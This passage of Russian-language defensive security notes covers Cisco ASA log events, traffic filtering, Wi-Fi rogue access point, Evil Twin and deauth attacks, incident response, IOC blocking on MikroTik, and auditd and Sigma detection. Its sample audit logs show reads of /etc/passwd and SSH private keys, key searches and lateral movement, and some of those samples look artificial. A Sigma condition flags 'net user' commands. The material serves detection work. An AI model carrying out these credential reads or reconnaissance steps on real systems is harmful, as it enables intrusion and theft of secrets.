Attempted console login failed. User adm did NOT have appropriate Admin Rights ``` ``` фиксирует неудачную попытку аутентификации к консоли администрирования сетевого оборудования Cisco под учетной записью **adm** с правами администратора. В следующем событии ``` ```yaml May  5 19:02:25 dev01: %ASA-6-716039: Group User IP <172.31.98.44> Authentication: rejected, Session Type: Admin ``` ``` зафиксирована информация, с какого IP-адреса(172.31.98.44) была неудачная попытка аутентификации к консоли сетевого оборудования под учетной записью **adm,** где так же указан тип сессии Admin, который позволит нам отличить от других типов соединений, таких как подключений к VPN, у которых будет тип сессии WebVPN `Session Type: WebVPN.` Таким образом можно отслеживать несанкционированные попытки подключения, подбора паролей консоли управления сетевого оборудования для учетных записей сетевых устройств. Следующий набор событий для примера: ``` ```sql May  5 19:03:27 dev01: %ASA-7-111009: User 'pavel' executed cmd: show access-list fw211111_access_out brief May  5 19:02:26 dev01: %ASA-7-111009: User 'pavel' executed cmd: show access-list aaa_out brief Apr 27 02:03:03 dev01: %ASA-5-111004: console end configuration: OK Apr 27 02:03:03 dev01: %ASA-5-111010: User 'enable_15', running 'CLI' from IP 10.10.0.87, executed 'clear' Apr 27 02:03:03 dev01: %ASA-5-502103: User priv level changed: Uname: enable_15 From: 1 To: 15 ``` ``` Событие с идентификатором `%ASA-7-111009` фиксирует любые команды без изменения конфигурации, выполненные в консоли управления сетевым оборудованием Cisco. В данном случае зафиксировано выполнение команды по выводу листа с разрешениями `show access-list fw211111_access_out brief.` Событие с идентификатором `%ASA-5-111010` фиксирует изменение конфигурации оборудования под учетной записью`enable_15`, при это журналируется IP-адрес откуда был запущена консоль управления `running 'CLI' from IP 10.10.0.87`, в данном случае выполнена команда `clear`. Событие с идентификатором `%ASA-5-502103` фиксирует изменение уровня привилегий у учетной записи `enable_15` от 1 до 15 `From: 1 To: 15.`У оборудования Cisco всего используется 15 уровней привилегий. Уровень привилегий 1 (**privilege 1**). Соответствует пользовательскому режиму (т.е. в качестве приглашения в командной строке **switch>**). Команды из привилегированного режима недоступны. Уровень привилегий 15 (**privilege 15**). Привилегированный режим, где доступны все команды (приглашение в командной строке **switch#**). **Фильтрация** Фильтрация исходящего трафика необходима прежде всего для предотвращения утечек данных и контроля использования внешних ресурсов. Основные методы: - **Stateful Packet Inspection (SPI).** Этот метод фильтрации анализирует сетевые сессии, а не просто отдельные пакеты данных. В отличие от более простой фильтрации пакетов, которая решает принимать или отклонять пакеты на основе их содержимого (например, IP-адреса и порта), SPI учитывает контекст и состояние каждого соединения. - **Application Layer Filtering.** Фильтрация на уровне приложения позволяет анализировать трафик, ориентируясь на конкретные приложения или службы. Это может включать в себя блокировку определенных протоколов или служб, таких как FTP, HTTP, или использование специализированных систем контроля контента. - **URL Filtering.** Фильтрация URL предотвращает доступ к определенным веб-сайтам или категориям веб-сайтов. Это может быть полезным для управления производительностью, обеспечения безопасности и соблюдения корпоративных политик. - **Data Loss Prevention (DLP).** Технологии DLP помогают предотвращать утечку конфиденциальных данных, блокируя передачу конфиденциальной информации в исходящем трафике. Инструменты и технологии: - **Брандмауэры и межсетевые экраны (Firewalls).** Они обычно предоставляют основные средства фильтрации исходящего трафика. - **Прокси-сервера.** Прокси-серверы могут использоваться для контроля доступа, фильтрации содержимого и анализа трафика. - **Системы предотвращения утечки данных (DLP systems).** DLP-системы предназначены для обнаружения и блокировки утечек конфиденциальной информации. - **Системы Content Filtering и URL Filtering.** Используются для фильтрации по категориям, блокировке веб-сайтов и контроля за тем, какие типы контента могут быть доступны через сеть. - Эффективная фильтрация исходящего трафика важна для обеспечения безопасности и эффективности работы сети, а также для соблюдения корпоративных политик и нормативных требований. Фильтрация входящего трафика необходима для защиты от атак, направленных снаружи. Основные методы фильтрации входящего трафика: - **Stateful Packet Inspection (SPI).** Аналогично с фильтрацией исходящего трафика, выполняется проверка сессий на предмет аномальных взаимодействий. - **Блокировка по IP-адресам и портам.** Администраторы могут определить правила фильтрации для блокировки трафика с определенных IP-адресов или портов. Это может быть использовано для предотвращения атак, связанных с известными вредоносными IP-адресами или портами. - **Антивирусная фильтрация.** Входящий трафик проверяется на предмет вредоносной активности. - Content Filtering: В контексте фильтрации входящего трафика фильтрация контента относится к защите от фишинговых почтовых рассылок - **Intrusion Detection Systems (IDS) и Intrusion Prevention Systems (IPS).** Эти системы обнаруживают и предотвращают вторжения, анализируя входящий трафик по пакетам на предмет аномалий и подозрительного поведения. Инструменты и технологии: - **Межсетевые экраны, в том числе WAF.** Позволяют фильтровать входящий сетевой трафик по определенным критериям (адреса, порты, заголовки HTTP и т.д.) - **IDS/IPS.** С помощью сигнатурного анализа позволяют выявлять и/или блокировать подозрительный трафик - **Content Filtering Systems.** Блокируют взаимодействия с потенциально опасным контентом, в том числе защищают от фишинговых рассылок **Подходы к анализу трафика** Сначала необходимо определить, что именно мы будем искать. Например, мы знаем, что злоумышленник закрепился на конкретном хосте, тогда нас будет интересовать входящий и исходящий трафик относительно этого хоста. Настроив фильтры при захвате трафика или при поиске в уже существующих дампах, мы можем приступать к анализу. На что можно опираться при анализе трафика: - Зашифрован трафик или нет? Должен ли он быть таковым? - Пытались ли потенциальные злоумышленники получить доступ к ресурсам, доступ к которым для них ограничен? - Взаимодействуют ли между собой хосты, которые обычно такого не делают? - Возникают ли ошибки, как отвечают на запросы хосты? - Есть ли что-то, что выбивается из общей статистики в трафике? На этом этапе могут пригодиться другие инструменты вроде IDS и IPS. Опираясь на сигнатурный анализ, можно выявить не легитимный трафик и исходя из полученной информации развивать поиск. Анализ сетевого трафика является динамическим процессом, способным изменяться в зависимости от доступных инструментов и "прозрачности" нашей сети (передается ли трафик в зашифрованном или в открытом виде). Здесь важно уметь делать разделение данных на доступные для понимания фрагменты, изучение их на предмет отличий от обычного трафика и на потенциально вредоносный трафик вроде неавторизованных подключений через интернет с помощью RDP, SSH или Telnet. Выполняя анализ, мы также пытаемся определить существующие в трафике тренды и понять, насколько они соотносятся с обычным трафиком. **Практические советы по анализу трафика:** **Поиск лучше всего начинать со стандартных протоколов, переходя к более редким постепенно по мере анализа.** Большая часть атак происходит из интернета и поэтому требует получения доступа во внутреннюю сеть. Это означает появление трафика и создание касающихся его логов. HTTP/S, FTP, E-mail и обычный TCP и UDP трафик будет наиболее распространенным входящим внешним трафиком. Начинайте с него, фильтруя все, что не касается расследования. После этого проверьте все стандартные протоколы, обеспечивающие связь между сетями - SSH, RDP или Telnet. Когда вы ищете подобные аномалии, учитывайте политику безопасности сети. Допускает ли политика безопасности нашей организации сессии RDP, инициируемые извне? А использование Telnet? **Ищите паттерны.** Один или несколько хостов регулярно сверяются с чем-то в интернете в одно и то же время? Это обычное поведение при взаимодействии с CnC серверами. **Обращайте внимание на уникальные события.** Отличающаяся от обычных приложений строка Юзер-Агента или подключающиеся к внешнему серверу хосты также требуют внимания. Подозрение вызывает также привязанный только единожды или дважды порт - он может быть открытым для обратного CnC-трафика, для нестандартных действий с чьей-то стороны или же для аномально функционирующего приложения. **Не бойтесь просить помощи.** Во-первых, после длительного просмотра дампов и логов можно упустить из вида важные детали, которые может заметить "свежий взгляд". Во-вторых, при разборе инцидента часто необходимо использовать другие компетенции помимо анализа сетевого трафика - например, просматривать логи DNS-сервера и контроллера домена. # WiFi периметр **Фальшивые точки доступа** Rogue Access Point (фальшивая точка доступа) — это беспроводная точка доступа (AP), установленная и подключенная к сети без разрешения администратора и не является частью официальной инфраструктуры. Rogue AP представляют угрозу для безопасности сети, так как злоумышленник может размещать Rogue AP с целью выполнения таких атак, как перехват данных, человек посередине (man-in-the-middle), и подмену трафика. Как правило, на размещенной точке доступа устанавливается wi-fi сеть с названием (SSID), идентичным или очень похожим на имя публичной сети компании, таким образом пользователи не задумываясь могут подключаться к сети злоумышленника. Мониторинг фальшивых точек доступа в офисном сетевом периметре может осуществляться следующими способами: - Использование IDS/IPS — эти системы могут анализировать трафик и обнаруживать несанкционированные точки доступа. - Проведение регулярных аудитов беспроводной сети с использованием специализированных инструментов (например, с использованием спектрального анализа). - Мониторинг сетевого трафика. - Мониторинг радиоэфира: - Спектральный анализ — использование инструментов для анализа радиочастотного спектра. - Использование специализированных Wi-Fi-анализаторов для сканирования беспроводного спектра. - Мониторинг уровней сигнала. - Локализация беспроводных устройств для определения физического местоположения беспроводных устройств. - Интеграция с системами мониторинга и управления сетью (NMS). Существует несколько средств и методов для обнаружения фальшивых точек доступа: 1. Системы Управления Беспроводными Сетями (WLAN Management Systems, WMS) Позволяют мониторить и управлять беспроводными сетями: могут автоматически сканировать беспроводное пространство для обнаружения новых точек доступа и анализа их характеристик. Эти системы также могут предоставлять средства для удаления или блокирования фальшивых точек доступа. 2. Беспроводные системы предотвращения вторжений (Wireless Intrusion Prevention Systems, WIPS) Могут использовать различные методы обнаружения, такие как сбор статистики с беспроводных клиентов, анализ аномалий, и сканирование беспроводного пространства для обнаружения новых точек доступа. Некоторые WIPS также предоставляют средства для блокирования или предотвращения деятельности фальшивых точек доступа. 3. Анализаторы спектра Могут обнаруживать беспроводные сигналы в диапазоне, включая те, которые исходят от Rogue AP. 4. Мониторинг системных логов и событий Может выявить аномальную активность, такую как появление новых точек доступа, которые либо не входят в списки разрешенных, либо в целом не встречались ранее. Это требует внимательного мониторинга логов и реагирования на события, связанные с беспроводными сетями, техническим средством реализации такого мониторинга может являться SIEM система. 5. Пассивное Сканирование Можно "прослушивать" беспроводные каналы, записывая информацию о видимых устройствах, тем самым можно иметь возможность обнаруживать новые подключенные точки доступа. 6. Активное сканирование На точки доступа отправляются запросы и анализируются ответы с целью выявления фальшивых точек доступа. **Атака Evil Twin** Evil Twin — это атака на беспроводные сети, при которой злоумышленник создает поддельную точку доступа (AP), которая имитирует легитимную точку доступа. Злоумышленник заставляет пользователей подключаться к своей поддельной точке доступа, вместо легитимной, с целью перехвата данных или проведения других атак. Основные этапы: - Обнаружение сетей Злоумышленник сканирует беспроводные сети в поисках доступных точек доступа и их параметров (SSID, канал, MAC-адрес и др.). - Создание поддельной точки доступа Злоумышленник создает точку доступа с тем же SSID, что и легитимная сеть, чтобы привлечь внимание пользователей. - Имитация легитимной сети Поддельная точка доступа имитирует характеристики легитимной сети, такие как SSID, BSSID (MAC-адрес точки доступа), и другие параметры. - Привлечение пользователей Злоумышленник может использовать различные методы для привлечения пользователей к своей поддельной сети. Это может включать в себя отправку пакетов деаутентификации, отправку фишинговых уведомлений о необходимости обновления пароля или обновления программного обеспечения. - Перехват данных Когда пользователи подключаются к фальшивой точке доступа, злоумышленник может перехватывать и анализировать их сетевой трафик. Это может включать в себя анализ посещенных веб-сайтов, перехват данных для входа в системы и т.д. - Внедрение вредоносного контента Злоумышленник может также использовать поддельную сеть для внедрения вредоносных скриптов или фишинговых страниц - Выполнение других атак В зависимости от целей злоумышленника, атака Evil Twin может использоваться для различных целей, включая внедрение вредоносного программного обеспечения, уклонение от обнаружения и аутентификации, атак на данные и другие. Защита от Evil Twin: - Использовать шифрование (WPA2 или WPA3) для защиты беспроводных сетей. - Обеспечить обнаружение фальшивых точек доступа. - Обучать пользователей определять нелегитимные сети и избегать подключения к незащищенным сетям. **Атака Deauth** Атака deauthentication (или deauth) — это вид атаки, при которой отправляются пакеты деаутентификации клиентским устройствам или точке доступа (AP), с целью принудительного отключения устройства от Wi-Fi сети. Эта атака может быть использована с различными целями, включая отслеживание устройств, сбор информации о сети или даже проведение других атак, таких как атаки на перехват трафика. Цели: - Отключение пользователей. Основная цель атаки Deauth - принудительное отключение пользователей от беспроводной сети. - Установка MITM-атак. Атака Deauth может использоваться в сочетании с атакой Man-in-the-Middle (MITM). После отключения клиента, злоумышленник может пытаться предоставить фальшивую точку доступа с тем же именем сети (Evil Twin) и перехватывать трафик между клиентом и настоящей точкой доступа - Идентификация уязвимостей. Атака Deauth может использоваться для идентификации уязвимостей в протоколах аутентификации и управления доступом Wi-Fi. Принцип работы - Имитация точки доступа. В некоторых случаях, злоумышленник может создавать свою собственную фальшивую точку доступа с тем же идентификатором сети (SSID) как реальная сеть, чтобы устройства автоматически подключались к ней. - Отправка пакетов деаутентификации (Deauth Frames). злоумышленник посылает пакеты деаутентификации клиентским устройствам, представляясь точкой доступа. - Принудительное отключение устройств. Когда устройство получает фрейм деаутентификации, оно теряет связь с точкой доступа и вынуждено повторно аутентифицироваться и подключаться к сети, и в случае использования имитированной фальшивой точки доступа, пользователь может подключиться к сети злоумышленника. Защита от атаки deauth - Использование защиты от деаутентификации (Deauthentication Protection). Некоторые точки доступа поддерживают функционал защиты от деаутентификации. - Мониторинг сетевого трафика может помочь выявить аномалии, связанные с атакой deauth. - Использование сетей WPA3. Использование последних стандартов безопасности, таких как WPA3, может уменьшить уязвимость к атакам deauth. Одним из инструментов обнаружения атаки deauth является Deauthentication Detector. Deauthentication Detector использует python-библиотеку Scapy, которая содержит функционал для анализа сетевого трафика. Скрипт анализирует захваченный трафик и выявляет атаку по наличию deauth-пакета в трафике, в wireshark этот пакет будет выглядеть так: # Противодействие во внутренней инфраструктуре Концепция реагирования (response) относится к действиям, которые команда защиты предпринимает в ответ на обнаружение или подозрение на кибератаку. Основной целью реагирования является минимизация ущерба, выявление и изоляция инцидента, а также восстановление нормального функционирования системы. Ключевые этапы: ![](https://ucarecdn.com/8729d765-4cfa-4095-9415-6b2b5e9158f9/) 1. Подготовка. Проведите оценку рисков и расставьте приоритеты в вопросах безопасности, определите, какие активы являются наиболее чувствительными и на каких критических инцидентах безопасности следует сосредоточить внимание команде. Создайте план коммуникации, задокументируйте роли, обязанности и процессы, а также наберите членов в группу реагирования на киберинциденты (CIRT). 2. Идентификация. Команда должна иметь возможность эффективно выявлять отклонения от нормальной работы в организационных системах, а при обнаружении инцидента собирать дополнительные доказательства, принимать решение о серьезности инцидента и документировать «Кто, Что, Где, Почему». , и как". 3. Сдерживание. Как только команда выявляет инцидент безопасности, ближайшей целью является сдерживание инцидента и предотвращение дальнейшего ущерба: *Краткосрочное сдерживание* — например, изоляция сегментов сети или отключение зараженных рабочих серверов и выполнение аварийного переключения. *Долгосрочное сдерживание* — применение временных исправлений к затронутым системам, чтобы их можно было использовать в рабочей среде, при этом восстанавливая чистые системы. 4. Локализация. Команда должна определить основную причину атаки, удалить вредоносное ПО или угрозы и предотвратить подобные атаки в будущем. Например, если была использована уязвимость, ее следует немедленно исправить. 5. Восстановление. Команда тщательно восстанавливает работоспособность затронутых производственных систем, чтобы гарантировать, что не произойдет еще одного инцидента. Важные решения на этом этапе заключаются в том, с какого времени и даты восстанавливать работу, как проверить, что затронутые системы вернулись в нормальное состояние, а также осуществлять мониторинг, чтобы гарантировать возвращение активности в нормальное состояние. 6. Извлеченные уроки. Этот этап следует выполнить не позднее, чем через две недели после окончания инцидента, чтобы обеспечить свежесть информации в памяти команды. Цель этого этапа — завершить документирование инцидента, провести дальнейшее расследование, чтобы определить его полный масштаб, понять, где группа реагирования действовала эффективно, а также области, требующие улучшения. **Блокировка обнаруженных IOC** Блокируется исходящий трафик. Скомпрометированные устройства будут пытаться подключиться к внешнему Command & Control-серверу. 95% пользовательского трафика в сети — это HTTP/HTTPS. На файерволе по умолчанию разрешаются эти два протокола на выход в интернет. Следует поднять внутренний DNS-сервер, для контроля общение с другими доменам. Отдельные порты, сервисы и протоколы разрешаются точечно. **IP-адрес** Имея IP адрес злоумышленника, он блокируется на фаерволе. Возможно блокировать на конечных устройствах, но это запасной вариант. Пример блокировки возможности взаимодействия с 8.8.8.8 на устройстве MikroTik: ``` /ip route add dst-address=8.8.8.8 type=blackhole ``` Это блокирует маршрут. Бывает используются доменные имена для организации динамической IP адресации. **Доменные имена** Возможно создать собственную одноименную зону и возвращать 127.0.0.1. В логах DNS обнаруживаются другие зараженные ПК. Пример команды на блокировку DNS запросов на Microtik: ``` /ip dns static add name=example.com address=127.0.0.1 ``` Можно использовать Regex. В [этом документе](https://mum.mikrotik.com/presentations/VN17/presentation_4493_1494480323.pdf) примеры дополнительных механик блокировок с помощью оборудования MikroTik, а так же альтернативный способ настройки примеров выше через UI. **Название файла / hash файла** Кроме функционала osquery, альтернативы обнаружения файлов по имени или хеш-сумме инструментами open-source нет. # Обнаружение после проникновения Linux [Логгирование Linux](http://bobrobotirk.ru/books/linux/page/loggirovanie "Логгирование") Пример анализа журнала аудита для выявления нелегитимной активности на различных этапах атаки. **Этап разведки** Разведка включает в себя сканирование портов, сбор информации о системе и сети. Примеры логов auditd, которые могут указывать на разведывательные действия: **Сканирование портов** type=SOCKET msg=audit(1625525281.877:123): saddr=192.168.1.100 saddr=192.168.1.200 sport=12345 daddr=192.168.1.2 dport=22 **Сбор информации о пользователях и группах** type=USER\_AUTH msg=audit(1625525281.877:123): pid=12345 uid=0 auid=1000 ses=2 subj=unconfined\_u:unconfined\_r:unconfined\_t:s0-s0:c0.c1023 msg='op=PAM:authentication acct="root" exe="/usr/sbin/sshd" hostname=192.168.1.2 addr=192.168.1.3 terminal=ssh res=success' Лог показывает успешную аутентификацию пользователя с именем пользователя root. Это может быть индикатором попытки получения привилегированного доступа. type=SYSCALL msg=audit(1625525281.877:123): arch=c000003e syscall=16 success=yes exit=0 a0=7ffdf44d1eab a1=0 a2=1 a3=0 items=2 ppid=29942 pid=29943 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=2 comm="whoami" exe="/bin/whoami" key="audit-wazuh-r" **Сбор информации о сетевых подключениях** type=SOCKET msg=audit(1625525281.877:123): saddr=192.168.1.100 saddr=192.168.1.200 sport=12345 daddr=192.168.1.2 dport=80 **Сбор информации о файлах и директориях** type=SYSCALL msg=audit(1625525281.877:123): arch=c000003e syscall=2 success=yes exit=0 a0=7ffdf44d1eab a1=0 a2=1 a3=0 items=2 ppid=29942 pid=29943 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=2 comm="ls" exe="/bin/ls" key="audit-wazuh-r" name="/etc/passwd" Запись указывает на успешное выполнение команды ls, которая пытается получить доступ к файлу /etc/passwd. Это может быть попытка собрать информацию о пользователях и их хэшах паролей. **Поиск SSH ключей** Попытка чтения файла id\_rsa type=SYSCALL msg=audit(1625525281.877:123): arch=c000003e syscall=2 success=yes exit=0 a0=7ffdf44d1eab a1=0 a2=1 a3=0 items=2 ppid=29942 pid=29943 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=2 comm="cat" exe="/bin/cat" key="audit-wazuh-r" name="/home/user/.ssh/id\_rsa" Успешное чтение файла id\_rsa в домашней директории пользователя. Файл id\_rsa обычно содержит закрытый ключ SSH. Попытка чтения файлов с расширением .pub type=SYSCALL msg=audit(1625525281.877:123): arch=c000003e syscall=2 success=yes exit=0 a0=7ffdf44d1eab a1=0 a2=1 a3=0 items=2 ppid=29942 pid=29943 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=2 comm="ls" exe="/bin/ls" key="audit-wazuh-r" name="/home/user/.ssh/id\_rsa.pub" Попытка просмотра файлов с расширением .pub в директории ~/.ssh. Файлы с таким расширением обычно являются публичными ключами SSH. Попытка выполнения команды find для поиска ключей type=EXECVE msg=audit(1625525281.877:123): argc=3 a0="/usr/bin/find" a1="/home/user" a2="-name" a3="\*.pub" Выполнение команды find для поиска файлов с расширением .pub в домашней директории пользователя. Это может быть попытка сканирования домашней директории пользователя на предмет публичных ключей SSH. Попытка получения доступа к каталогу ~/.ssh type=PATH msg=audit(1625525281.877:123): item=0 name="/home/user/.ssh" inode=12345 dev=xx:xx mode=040700 ouid=1000 ogid=1000 rdev=00:00 obj=system\_u:object\_r:user\_home\_t:s0 nametype=PARENT cap\_fp=0000000000000000 cap\_fi=0000000000000000 cap\_fe=0 cap\_fver=0 Запись указывает на попытку доступа к каталогу ~/.ssh в домашней директории пользователя. Каталог ~/.ssh часто содержит файлы ключей SSH. Попытка чтения файлов authorized\_keys type=SYSCALL msg=audit(1625525281.877:123): arch=c000003e syscall=2 success=yes exit=0 a0=7ffdf44d1eab a1=0 a2=1 a3=0 items=2 ppid=29942 pid=29943 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=2 comm="cat" exe="/bin/cat" key="audit-wazuh-r" name="/home/user/.ssh/authorized\_keys" Успешное чтение файла authorized\_keys в домашней директории пользователя. Файл authorized\_keys обычно содержит открытые ключи SSH, которые используются для аутентификации пользователей. **Горизонтальное перемещение** Использование SSH для удаленного доступа type=USER\_LOGIN msg=audit(1625525281.877:123): pid=1234 uid=0 auid=1000 ses=1 subj=system\_u:system\_r:sshd\_t:s0-s0:c0.c1023 msg='op=login acct="root" exe="/usr/sbin/sshd" hostname=192.168.1.100 addr=192.168.1.100 terminal=ssh res=success' В логе показан успешный вход в систему под учетной записью root через SSH с IP-адреса 192.168.1.100. Если злоумышленник удаленно получил доступ к одной системе, он может использовать этот доступ для перемещения на другие системы внутри сети. Использование общего ресурса для передачи файла type=SYSCALL msg=audit(1625525281.877:123): arch=c000003e syscall=42 success=yes exit=0 a0=3 a1=0 a2=7ffe392a6e00 a3=0 items=2 ppid=1 pid=1234 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=12345 comm="cp" exe="/bin/cp" key=(null) name="/tmp/malicious\_payload.exe" В логе зафиксировано копирование файла /tmp/malicious\_payload.exe с одной системы на другую с помощью команды cp. Использование RSH/RCP type=USER\_LOGIN msg=audit(1625525281.877:123): pid=1234 uid=0 auid=1000 ses=1 subj=system\_u:system\_r:rshd\_t:s0-s0:c0.c1023 msg='op=login acct="root" exe="/usr/sbin/rshd" hostname=192.168.1.101 addr=192.168.1.101 terminal=rsh res=success' В логе зафиксирован вход в систему под учетной записью root через удаленную оболочку (RSH) с IP-адреса 192.168.1.101. Удаленные оболочки могут быть использованы злоумышленниками для горизонтального перемещения по сети. Использование протокола SMB для доступа к общему ресурсу type=USER\_LOGIN msg=audit(1625525281.877:123): pid=1234 uid=0 auid=1000 ses=1 subj=system\_u:system\_r:smbd\_t:s0-s0:c0.c1023 msg='op=login acct="root" exe="/usr/sbin/smbd" hostname=192.168.1.102 addr=192.168.1.102 terminal=smb res=success' В этом логе зафиксирован успешный вход в систему под учетной записью root через протокол SMB (Server Message Block) с IP-адреса 192.168.1.102. Злоумышленник может использовать протокол SMB для доступа к общим ресурсам и файлам на других системах в сети. **Инструменты для работы с логами** **ausearch** Ausearch — утилита для анализа журналов системы и аудита безопасности. Позволяет искать и анализировать записи в журналах аудита (auditd) на основе различных критериев, таких как время, пользователь, тип события и по другие атрибутам. Подробная информация [здесь](https://man7.org/linux/man-pages/man8/ausearch.8.html). Рассмотрим пример записи в журнале аудита (`/var/log/audit/audit.log`): ``` ```ini type=USER_AUTH msg=audit(1513159418.705:86): pid=1234 uid=1000 auid=1000 ses=1 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=login id=1000 exe="/usr/sbin/sshd" hostname=192.168.1.10 addr=192.168.1.10 terminal=/dev/pts/0 res=success' ``` ``` Это типичная запись в журнале аудита, которая содержит различные поля, такие как тип события (type), сообщение (msg), временная метка (audit), идентификатор процесса (pid), идентификатор пользователя (uid), идентификатор аудитируемого пользователя (auid), идентификатор сеанса (ses), подлежащий контекст (subj), и другие метаданные. Пример использования ausearch для поиска определенной строки в логах: ``` ```nginx ausearch -m USER_AUTH ``` ``` Этот пример ищет все записи в журнале аудита, связанные с аутентификацией пользователя (тип события USER\_AUTH). Если вы хотите искать определенную строку в логах, вы можете использовать ключ `-m` (или `--message`), указав текст строки, которую вы хотите найти. Например: ``` ```nginx ausearch -m "op=login" ``` ``` Это команда найдет все записи в журнале аудита, в которых встречается строка "op=login". Важным ключом ausearch является ключ `-i`, `--interpret`, который позволяет выводить информацию в человекочитаемом виде. Пример записи аудита без использования ключа `--interpret`: ``` ```bash type=SYSCALL msg=audit(1511449251.972:214): arch=c000003e syscall=2 success=yes exit=0 a0=7fffb352bcf0 a1=0 a2=1 a3=7fffb3529b90 items=2 ppid=11611 pid=11612 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1554 comm="cat" exe="/bin/cat" key=(null) ``` ``` Тот же самый пример, но с использованием ключа `--interpret`: ``` ```bash type=SYSCALL msg=audit(1511449251.972:214): arch=c000003e syscall=open success=yes exit=0 a0=7fffb352bcf0 a1=0 a2=1 a3=7fffb3529b90 items=2 ppid=11611 pid=11612 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1554 comm="cat" exe="/bin/cat" key=(null) ``` ``` При использовании ключа `--interpret`, числовые значения, такие как syscall=2, были заменены их текстовыми описаниями, в данном случае "syscall=open". **augenrules** augenrules — это утилита, которая используется для обновления файла конфигурации правил аудита. Этот файл определяет правила аудита, которые определяют, какие события должны быть аудиторованы системой аудита Linux. Когда вы создаете или изменяете правила аудита в системе, вы можете использовать augenrules, чтобы применить эти изменения и обновить файл audit.rules, который используется демоном аудита Linux (auditd). Обычно файл audit.rules хранится в `/etc/audit/rules.d/` или `/etc/audit/`, и augenrules помогает управлять этим файлом с учетом ваших настроек. Пример использования augenrules может выглядеть так: ``` ```css augenrules --load ``` ``` Эта команда загрузит правила аудита из всех файлов конфигурации в `/etc/audit/rules.d/` и применит их к текущей конфигурации аудита. Это может быть полезно после внесения изменений в файлы правил, чтобы убедиться, что изменения вступают в силу без перезапуска службы аудита. **Правила Sigma** Sigma — унифицированный формат описания правил детектирования событий на основе данных из логов. Правила хранятся в отдельных YAML-файлах. Sigma позволяет написать правило, используя унифицированный синтаксис, один раз, а затем с помощью специального конвертера получить правило в синтаксисе поддерживаемой SIEM-системы. Также Sigma позволяет создавать запросы, использующие утилиту grep с нужными параметрами, что не требует дополнительных инструментов для парсинга логов. **Синтаксис правил** В каждом правиле есть обязательные и необязательные к заполнению поля, схему правила Sigma можно представить так: ![](https://ucarecdn.com/f23c9c23-ad10-4678-8a82-57817e5f11d5/) Обязательные поля: - title — название правила; - logsource — источник правила; - detection — определяет параметры, по которым будет срабатывать правило. Одни из возможных вариантов: selection, filter, aggregation, timeframe; - condition — условие срабатывания правила. **logsource** определяет, на события из каких источников будет срабатывать правило. Состав logsource: - product: указывает на продукт или технологию, откуда поступают логи. Например, "windows" для логов Windows, "linux" для логов Linux, "aws" для логов Amazon Web Services и т. д. - service: указывает на конкретный сервис или компонент, который генерирует логи внутри продукта. Например, "auditd" для логов аудита в Linux, "sysmon" для логов системы Sysmon в Windows, "apache" для логов веб-сервера Apache и т. д. - category: дополнительное поле, которое может указывать на категорию логов. Например, "authentication" для логов аутентификации, "network" для сетевых логов и т. д. - subcategory: дополнительное поле, которое может указывать на подкатегорию логов. Например, "login" для логов входа в систему, "firewall" для логов брандмауэра и т. д. Например, в logsource можно задать следующие поля: ``` ```yaml logsource:   product: linux   service: auditd ``` ``` ``` ```yaml logsource:   product: aws   service: guardduty ``` ``` **detection** предназначен для определения условий обнаружения событий или действий, на которые будут срабатывать правила. Список полей: 1. Selections: ключевое поле, в котором описываются условия выбора событий для анализа. Это могут быть различные атрибуты событий, такие как тип события, значения полей событий, ключевые слова в тексте логов и т. д. Например, можно указать определенный тип события или значение поля, которое требуется отслеживать. В этом поле можно выделить следующие варианты: - *EventID*: определяет тип события, на которое следует реагировать. Например, в Windows EventID 4625 обозначает неудачную попытку входа в систему. - *ProcessName*: указывает на имя процесса, который сгенерировал событие. Например, "svchost.exe" или "apache2". - *AccountName*: определяет имя учетной записи, с которой связано событие. Это может быть имя пользователя, группы и т. д. - *IPAddress*: определяет IP-адрес, связанный с событием. Это может быть как исходный, так и целевой IP-адрес. - *DestinationPort*: указывает на номер порта, к которому относится событие, например, порт 22 для SSH или порт 80 для HTTP. - *CommandLine*: определяет команду, которая была выполнена в командной строке. Например, в Windows это может быть команда, запущенная с помощью cmd.exe. - *RegistryKey*: указывает на ключ реестра, связанный с событием. Например, "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run". - *ParentProcessName*: Определяет имя родительского процесса, который породил событие. - *BytesTransferred*: указывает на количество переданных байтов в результате события, например, при сетевой активности. - *TargetUserName*: определяет целевое имя пользователя, на которое направлено событие. - и др. 2. Condition: определяет условие, при котором срабатывает правило. Здесь можно задать логическое выражение, которое должно быть выполнено для того, чтобы правило сработало. Это может быть комбинация различных условий, заданных в блоке Selections, с использованием логических операторов (например, AND, OR). - Простое логическое выражение с использованием логических операторов (AND, OR, NOT) для комбинации различных условий: ``` ```java Condition: Selection1 AND (Selection2 OR Selection3) ``` ``` - Условие наличия: можно указать, что событие должно содержать определенный атрибут или значение: ``` ```yaml Condition: ProcessName IS NOT NULL AND EventID = 4625 ``` ``` - Условие отсутствия: можно задать условие, что событие не должно содержать определенный атрибут или значение: ``` ```java Condition: NOT ProcessName = "svchost.exe" ``` ``` - Условие сравнения: можно использовать условия сравнения для сравнения значений атрибутов с определенными значениями: ``` ```makefile Condition: BytesTransferred > 1000000 AND DestinationPort IN [80, 443] ``` ``` - Сложные условия: Можно комбинировать различные типы условий для создания более сложных логических выражений: ``` ```sql Condition: (ProcessName = "cmd.exe" AND CommandLine CONTAINS "net user") OR (EventID = 4625 AND Outcome = FAILURE) ``` ``` Если в поле condition указано true, правило будет срабатывать на любое событие, которое соответствует критериям, указанным в блоке detection. При таком условии правило будет применяться без дополнительных ограничений и будет срабатывать на каждое событие, которое соответствует заданным критериям. Например, если блок detection содержит несколько условий выбора событий, но в поле condition указано true, это означает, что 